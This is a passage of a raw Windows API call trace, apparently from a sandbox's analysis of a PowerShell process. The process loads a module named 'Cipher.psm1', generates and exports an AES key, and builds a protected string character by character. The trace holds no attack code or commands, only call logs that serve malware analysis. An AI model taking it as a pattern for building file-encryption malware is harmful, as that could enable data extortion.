lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.135] GetConsoleOutputCP () returned 0x1b5 [0133.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.136] GetConsoleOutputCP () returned 0x1b5 [0133.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.136] GetConsoleOutputCP () returned 0x1b5 [0133.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.136] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0133.137] GetConsoleOutputCP () returned 0x1b5 [0133.137] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0133.137] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.137] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a4520c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a4520c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0133.138] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.138] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0133.142] GetConsoleOutputCP () returned 0x1b5 [0133.142] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.142] GetConsoleOutputCP () returned 0x1b5 [0133.142] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.142] GetConsoleOutputCP () returned 0x1b5 [0133.142] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.143] GetConsoleOutputCP () returned 0x1b5 [0133.143] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.143] GetConsoleOutputCP () returned 0x1b5 [0133.143] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.143] GetConsoleOutputCP () returned 0x1b5 [0133.143] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.143] GetConsoleOutputCP () returned 0x1b5 [0133.144] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.144] GetConsoleOutputCP () returned 0x1b5 [0133.144] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.144] GetConsoleOutputCP () returned 0x1b5 [0133.144] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.144] GetConsoleOutputCP () returned 0x1b5 [0133.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.145] GetConsoleOutputCP () returned 0x1b5 [0133.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.145] GetConsoleOutputCP () returned 0x1b5 [0133.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.145] GetConsoleOutputCP () returned 0x1b5 [0133.146] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.147] GetConsoleOutputCP () returned 0x1b5 [0133.147] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.147] GetConsoleOutputCP () returned 0x1b5 [0133.147] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.148] GetConsoleOutputCP () returned 0x1b5 [0133.148] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.148] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0133.148] GetConsoleOutputCP () returned 0x1b5 [0133.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0133.149] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.149] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a47020*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a47020*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0133.150] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.150] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0133.154] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.154] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.154] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.155] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.155] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.155] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.155] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.156] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0133.156] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.156] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.156] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.156] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.157] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0133.157] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e849f8) returned 1 [0133.158] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.158] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.158] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a5091c, pdwDataLen=0x99ae894 | out: pbData=0x6a5091c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.158] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x8ac\x6a5\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667") returned 0x0 [0133.158] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.158] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.158] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.158] SysStringLen (param_1="") returned 0x8 [0133.158] SysStringLen (param_1="E") returned 0x8 [0133.158] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.159] SysStringLen (param_1="\x6e7b\xd2b8\x3e38\x263e\x1fa0\x230f\x1935\xe4f7") returned 0x8 [0133.159] SysStringLen (param_1="\x6e7b\xd2b8\x3e38\x263e\x1fa0\x230f\x1935\xe4f7") returned 0x8 [0133.159] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.159] SysStringLen (param_1="Ec") returned 0x8 [0133.159] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.159] SysStringLen (param_1="\xff64\xcd9d\x331d\xd548\x7cca\xd811\xb8df\xb492") returned 0x8 [0133.159] SysStringLen (param_1="\xff64\xcd9d\x331d\xd548\x7cca\xd811\xb8df\xb492") returned 0x8 [0133.159] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.159] SysStringLen (param_1="Ec1") returned 0x8 [0133.159] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.159] SysStringLen (param_1="\x93f\x58e3\x4dd5\x9c92\xd1ed\x492a\xbb11\x20b1") returned 0x8 [0133.159] SysStringLen (param_1="\x93f\x58e3\x4dd5\x9c92\xd1ed\x492a\xbb11\x20b1") returned 0x8 [0133.159] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.159] SysStringLen (param_1="Ec1F") returned 0x8 [0133.159] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.159] SysStringLen (param_1="\xe5c7\x52a0\xe8ee\x2621\xd8d5\x3974\x72e9\x62f6") returned 0x8 [0133.159] SysStringLen (param_1="\xe5c7\x52a0\xe8ee\x2621\xd8d5\x3974\x72e9\x62f6") returned 0x8 [0133.159] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.160] SysStringLen (param_1="Ec1Fw") returned 0x8 [0133.160] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.160] SysStringLen (param_1="\xc4dd\x8ec\x40b2\x165f\x25e3\x1aa0\xec0e\x70dc") returned 0x8 [0133.160] SysStringLen (param_1="\xc4dd\x8ec\x40b2\x165f\x25e3\x1aa0\xec0e\x70dc") returned 0x8 [0133.160] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.160] SysStringLen (param_1="Ec1Fwt") returned 0x8 [0133.160] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.160] SysStringLen (param_1="إ啢隓ʘ銖ᡞ剻媚") returned 0x8 [0133.160] SysStringLen (param_1="إ啢隓ʘ銖ᡞ剻媚") returned 0x8 [0133.160] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.160] SysStringLen (param_1="Ec1FwtL") returned 0x8 [0133.160] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.160] SysStringLen (param_1="\x69cb\xea63\x9f20\x5c55\x5be3\xe8dc\x7f46\x2249") returned 0x8 [0133.160] SysStringLen (param_1="\x69cb\xea63\x9f20\x5c55\x5be3\xe8dc\x7f46\x2249") returned 0x8 [0133.160] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.160] SysStringLen (param_1="Ec1FwtLR") returned 0x8 [0133.160] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.161] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d") returned 0x8 [0133.161] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d") returned 0x8 [0133.161] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d") returned 0x8 [0133.161] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d") returned 0x10 [0133.161] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.161] SysStringLen (param_1="Ec1FwtLR+鮋닂릿⤇꣛漌뇞") returned 0x10 [0133.161] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.161] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x5d5a\xcfdb\xebe7\xeb13\x802d\xc040\x9596\xe8d1") returned 0x10 [0133.161] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x5d5a\xcfdb\xebe7\xeb13\x802d\xc040\x9596\xe8d1") returned 0x10 [0133.161] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.161] SysStringLen (param_1="Ec1FwtLR+P닂릿⤇꣛漌뇞") returned 0x10 [0133.161] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.161] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\xd0d4\xfae8\xb7bc\x7988\xc2e7\x10aa\x3dc8\x2283") returned 0x10 [0133.161] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\xd0d4\xfae8\xb7bc\x7988\xc2e7\x10aa\x3dc8\x2283") returned 0x10 [0133.161] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.162] SysStringLen (param_1="Ec1FwtLR+PG릿⤇꣛漌뇞") returned 0x10 [0133.162] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.162] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x477e\xf39a\x5df6\x260b\x1626\x66da\xc64c\x27cd") returned 0x10 [0133.162] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x477e\xf39a\x5df6\x260b\x1626\x66da\xc64c\x27cd") returned 0x10 [0133.162] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.162] SysStringLen (param_1="Ec1FwtLR+PGq⤇꣛漌뇞") returned 0x10 [0133.162] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.162] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\xdf1a\x3309\x72e0\xf8c5\x97b3\x7c1f\xdd86\xe2a1") returned 0x10 [0133.162] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\xdf1a\x3309\x72e0\xf8c5\x97b3\x7c1f\xdd86\xe2a1") returned 0x10 [0133.162] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.162] SysStringLen (param_1="Ec1FwtLR+PGq1꣛漌뇞") returned 0x10 [0133.162] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.162] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x82d5\xf53e\x23be\x2ab3\x5d73\x97a1\xb31c\x3f44") returned 0x10 [0133.162] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x82d5\xf53e\x23be\x2ab3\x5d73\x97a1\xb31c\x3f44") returned 0x10 [0133.162] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.162] SysStringLen (param_1="Ec1FwtLR+PGq1b漌뇞") returned 0x10 [0133.162] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.163] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x5652\x96d4\xc2c\xdf31\x9328\x3dfc\xd4a4\x73ec") returned 0x10 [0133.163] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x5652\x96d4\xc2c\xdf31\x9328\x3dfc\xd4a4\x73ec") returned 0x10 [0133.163] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.163] SysStringLen (param_1="Ec1FwtLR+PGq1bT뇞") returned 0x10 [0133.163] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.163] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x469e\xbbc2\x6023\x37d1\xba02\x8be4\x127b\x42f0") returned 0x10 [0133.163] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x469e\xbbc2\x6023\x37d1\xba02\x8be4\x127b\x42f0") returned 0x10 [0133.163] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.163] SysStringLen (param_1="Ec1FwtLR+PGq1bTL") returned 0x10 [0133.163] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.163] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314") returned 0x10 [0133.163] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314") returned 0x10 [0133.163] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314") returned 0x10 [0133.163] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314") returned 0x18 [0133.163] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.163] SysStringLen (param_1="Ec1FwtLR+PGq1bTLAꚕ∽㝅幻좯༿珇") returned 0x18 [0133.163] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.164] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314\x317d\x2460\x91dc\xfe26\x5954\x1bf6\xe740\x381a") returned 0x18 [0133.164] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314\x317d\x2460\x91dc\xfe26\x5954\x1bf6\xe740\x381a") returned 0x18 [0133.164] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.164] SysStringLen (param_1="Ec1FwtLR+PGq1bTLAO∽㝅幻좯༿珇") returned 0x18 [0133.164] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.164] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314\x9458\xf4ea\x4cba\xeb0b\x3a63\xde1f\x52d8\x2833") returned 0x18 [0133.164] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314\x9458\xf4ea\x4cba\xeb0b\x3a63\xde1f\x52d8\x2833") returned 0x18 [0133.164] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.164] SysStringLen (param_1="Ec1FwtLR+PGq1bTLAOg㝅幻좯༿珇") returned 0x18 [0133.164] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.164] SysStringLen (param_1="\x22f5\x9ba1\xc18a\xb8b9\xedc7\xbc4e\x2af7\x810d\x4466\xa6bf\x5175\x3643\x9abb\xdc3a\x4ac4\x4314\x5c61\x3dc6\xceb7\x3b7b\xc19e\xcb55\xed2d\x5d12") returned 0x18 [0133.164] SysStringLen 